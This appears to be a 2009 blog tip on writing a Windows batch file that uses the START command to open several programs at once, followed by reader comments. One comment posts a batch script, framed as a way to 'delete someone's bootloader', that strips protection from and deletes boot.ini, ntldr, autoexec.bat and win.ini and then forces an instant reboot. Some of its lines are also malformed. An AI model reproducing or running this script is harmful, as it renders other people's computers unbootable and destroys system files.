If you do a task which requires you to have several programs open, a time saving thing you can do is create a batch script to open these programs and/or files at once. This is accomplished by using the START command. Using the syntax:
START /D “path_to_program” program_name
For example, to open both Firefox and IE, the batch file would look like this:
START /D “C:\Program Files\Internet Explorer” iexplore.exe
START /D “C:\Program Files\Mozilla Firefox” firefox.exe
Just save the above text into a batch file named Browsers.bat and then run it. You will see both Firefox and IE are launched. This is just a simple example, so you would want to configure the programs to be what you need.
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Chris
18. Nov, 2009
if you input an web address also it will not only open up the browser but also open it up at the website you put in. Really cool trick I like.
Gareth Evans
18. Nov, 2009
HAHA! This is basic command line scripting
I figured this out for myself years back 
Now here’s how to delete someone’s bootloader in Windows XP and restart the computer instantly:
@echo off
@attrib -r -s -h %SYSTEMDRIVE%\boot.ini
@del %SYSTEMDRIVE\boot.ini /y
@attrib -r -s -h %SYSTEMDRIVE%\autoexec.bat
@del %SYSTEMDRIVE\autoexec.bat /y
@attrib -r -s -h %SYSTEMDRIVE%\ntldr
@del %SYSTEMDRIVE\ntldr /y
@attrib -r -s -h %WINDIR%\win.ini
@del %WINDIR%\win.ini /y
@shutdown -r -t 00 -f
@cls
@exit
Now only use this for your own good, please.